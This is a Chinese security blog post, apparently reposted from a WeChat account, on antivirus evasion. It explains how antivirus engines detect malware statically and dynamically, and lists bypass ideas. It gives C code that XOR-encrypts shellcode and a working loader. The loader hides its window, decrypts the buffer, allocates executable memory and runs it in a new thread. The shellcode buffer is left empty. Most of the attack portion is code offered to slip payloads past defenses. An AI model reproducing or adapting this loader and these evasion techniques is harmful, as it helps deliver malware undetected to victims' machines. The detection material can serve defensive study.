杀软基本原理与异或加密

admin 2024年7月4日00:00:47评论3 views字数 3020阅读10分4秒阅读模式

免杀学习(二)

免杀的方法

1、加壳
2、shellcode混淆、加密
3、各种语言的加载器,c,python,go等
4、powershell混淆免杀
5、分离免杀,shellcode和加载器不写在一个文件中,远程加载,本地加载等
6、白加黑(白名单程序执行恶意样本)
7、github免杀工具
8、自写加载器,通过其他方式执行shellcode
9、二开c2等

杀软基本原理

杀软对程序的划分

无害
没有任何的可疑行为,没有任何的特征符合病毒或木马
可疑
存在可以行为:操作注册表,打开cmd/powershell,修改用户,操作敏感文件等
存在木马病毒
特征符合木马或者病毒

杀软识别恶意样本的方式

静态查杀

静态查杀会使用病毒特征库,其中的特定标识可以是文件的特定代码片段、独特的字符串、文件结构等,杀软通过比对文件的特征与特征库中存在的信息是否匹配,来判断文件是否是恶意的。

样本特征

1、代码中的函数

杀软会通过反编译/查看exe字符串的方式查看代码,可以看到里面的一些函数和汇编代码,如:virtualalloc、rtlmovememory、creatthread等,以windows api函数为主(内存、堆、线程相关函数)。

2、shellcode特征

xfcx48x83....

3、文件名和md5 如果文件名使用了rlo翻转的话,无论是否为病毒都会直接杀,文件的md5值匹配样本库中的md5值,检测是否存在。

demo.txt.exe-->demo.exe.txt

查看文件 md5 hash

CertUtil -hashfile 文件路径 md5
各类小工具
在线平台

4、加密

使用加密解密行为或者对文件有额外保护措施(加壳)

5、数字签名

判断当前程序的数字签名是否正常

杀软基本原理与异或加密
typora数字签名

6、资源文件

指一个软件的一些图标信息,产品名称,产品版本,文件版本,版权,语言等信息

杀软基本原理与异或加密
typora资源文件

动态查杀

1、计算机

通常由r1或r2层挂监控的方式(类似于hook)当触发这些条件就会产生时间,例如:360会在系统的内核层对注册表和net1.exe进行监控,可以通过win32 api添加用户,通常啥软件监控有以下几种

服务
注册表
防火墙
敏感程序:cmd,powershell,wmi,psexec,bitsadmin,rundll等
用户:添加,删除,修改等操作
文件夹:
C:windowssystem32
C:UserAdministratorAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup
%tmp%

绕过思路:替换,cmd换powershell(混淆、编码、加密),更换windows api函数,使用shellcode

2、网络
ip、域名、证书
查找通讯的ip或域名是否之前存在攻击行为
流量
时间特征:扫描等,大规模扫描或其他不寻常的网络行为(fscan)
内容特征:data字段中是否存在命令控制相关的关键词或者加密特征(反弹shell)
结构特征:是否存在已知远控的通讯结构特征 x00x00x00x00

绕过思路:tcp分段,内容加密,使用合法证书等

shellcode处理

shellcode加密

1、异或加密

异或加密(XOR cipher)是一种简单的加密方式,基于异或(XOR)逻辑运算符来对数据进行加密和解密;异或加密使用一个密钥(通常是固定长度或与铭文长度相同的字符串)与铭文进行逐位异或操作。

异或加密的密钥:取值范围是0-255(即0x00到0xFF)。

#include <windows.h>
#include <stdio.h>

void myXor(unsigned char str[], int len, int key) {
 for (int i = 0; i < len; i++) {
  str[i] ^= key;
 }
}

int main() {
 //0-255
 int key1 = 200;
 int key2 = 201;
 int key3 = 202;
 unsigned char buf[] = ""; //shellcode
 printf("原始shellcode:rn");
 for (int i = 0; i < sizeof(buf); i++) {
  printf("\x%02x", buf[i]);
 }
 myXor(buf, sizeof(buf), key1);
 printf("rnrn第一次异或后的shellcode:rn");
 for (int i = 0; i < sizeof(buf); i++) {
  printf("\x%02x", buf[i]);
 }

 myXor(buf, sizeof(buf), key2);
 printf("rnrn第二次异或后的shellcode:rn");
 for (int i = 0; i < sizeof(buf); i++) {
  printf("\x%02x", buf[i]);
 }

 myXor(buf, sizeof(buf), key3);
 printf("rnrn第三次异或后的shellcode:rn");
 for (int i = 0; i < sizeof(buf); i++) {
  printf("\x%02x", buf[i]);
 }
}
1.1、异或加密的加载器
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"") //不显示dos窗口

void myXor(unsigned char str[], int len, int key) {
 for (int i = 0; i < len; i++) {
  str[i] ^= key;
 }
}

unsigned char buf[] = ""; //异或加密后的shellcode


int main() {
 //异或解密
 int key1 = 202;
 int key2 = 201;
 int key3 = 200;
 myXor(buf, sizeof(buf), key1);
 myXor(buf, sizeof(buf), key2);
 myXor(buf, sizeof(buf), key3);

 //使用VirtualAlloc函数申请内存
 LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 if (addr == NULL) {
  return 1;
 }
 //拷贝shellcode到内存中
 memcpy(addr, buf, sizeof(buf));
 //创建线程
 HANDLE hThread = CreateThread(NULL,
  NULL,
  (LPTHREAD_START_ROUTINE)addr,
  NULL,
  NULL,
  0);
 //等待运行
 WaitForSingleObject(hThread, -1);
 //关闭线程
 CloseHandle(hThread);
 return 0;
}

原文始发于微信公众号(安全小白):杀软基本原理与异或加密

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月4日00:00:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   杀软基本原理与异或加密https://cn-sec.com/archives/2838501.html

发表评论

匿名网友 填写信息